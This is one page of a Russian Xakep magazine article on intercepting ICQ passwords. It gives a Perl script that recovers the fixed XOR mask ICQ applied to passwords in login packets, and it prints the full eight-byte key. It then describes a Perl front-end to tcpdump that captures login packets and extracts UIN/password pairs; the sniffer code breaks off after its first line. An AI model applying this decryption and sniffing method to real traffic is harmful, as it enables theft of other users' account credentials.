Перехват ICQ паролей

Константин Клягин

Xakep, номер #052, стр. 052-082-4


$rightpass1 = "xxx123";

$pass2 = "\x92\x44\xe2\xa0";

$rightpass2 = "";

$pass3 = "\xc2\x14\xb2";

$rightpass3 = "";

$xorseq = "";

for($i = 0; $i < length($pass1); $i++) {

$n = ord(substr($pass1, $i, 1)) ^ ord(substr($rightpass1, $i, 1));

$xorseq .= chr($n);

if(length($rightpass2) < length($pass2)) {

$rightpass2 .= chr(ord(substr($pass2, $i, 1)) ^ $n);

}

if(length($rightpass3) < length($pass3)) {

$rightpass3 .= chr(ord(substr($pass3, $i, 1)) ^ $n);

}

}

print "rightpass2 = $rightpass2\n";

print "rightpass3 = $rightpass3\n";

print "xor sequence: ";

for($i = 0; $i < length($xorseq); $i++) {

printf "\\x%x", ord(substr($xorseq, $i, 1));

}

print "\n";

Все верно, пароли шифруются при помощи XOR с одной и той же маской. Вот вывод:

rightpass2 = abcd

rightpass3 = 123

xor sequence: \xf3\x26\x81\xc4\x39\x86

Такой финт ушами позволил нам выяснить позиционно-зависимые числа, используемые для операции xor с шестью первыми символами. Для расшифровки паролей любой длины, вплоть до максимальной, посмотрим на логин-пакет, содержащий восьмисимвольный пароль (ICQ для Windows не дает вводить больше восьми символов). Следуя уже привычной схеме, подставим его в текст программы (переменная $pass1), а расшифрованный вариант - в $rightpass1. Итог - последовательность байт "\xf3\x26\x81\xc4\x39\x86\xdb\x92". Зная ее, можно легко расшифровать любой ICQ-пароль. Знание - сила :).

Собственно и сам снифер ICQ-паролей

Обычно написание какого-то специфического снифера, особенно в первый раз - занятие не из легких. Ведь прежде всего нужно разобраться в системных вызовах, предназначенных для управления сетевыми интерфейсами. Затем написать набор функций для вычитывания проходящего трафика, фильтруя при этом только нужные пакеты по определенным признакам. Можно взять библиотеку libpcap и начать разбираться с ней. Тот еще напряг. Такой подход может испортить все впечатление от снифинга как такового и растянуть процесс написания на неопределенное время. Поэтому мы поступим несколько иначе.

Взамен предлагается использовать знакомый стандартный и удобный инструмент - tcpdump, который содержит в себе все необходимые функции для перехвата трафика. Нам даже не придется копаться в его исходниках. Дело в том, что с помощью одного полезного параметра командной строки (-w) можно сделать так, что весь нужный трафик будет выводиться в виде потока в файл или на стандартное устройство вывода (терминал). Абсолютно неприемлемо для просмотра "вручную", где режим hex выглядит гораздо приятнее, но для автоматического анализа - самое оно.

То, что мы напишем, будет программой-надстройкой над tcpdump, читающей вывод последнего. Буржуи называют это front-end. При обнаружении логин-пакета, содержимое его будет разобрано, и пара UIN/пароль "выкушена" и показана. Опять же, язык реализации выберем по признаку удобства анализа строк - Perl. Благодаря поддержке регулярных выражений, "отлов" пакета в нем будет занимать всего одну строчку.

#!/usr/bin/perl

sub decryptpassword {

my ($pass) = @_;

my $res = "";

Назад на стр. 052-082-3  Содержание  Вперед на стр. 052-082-5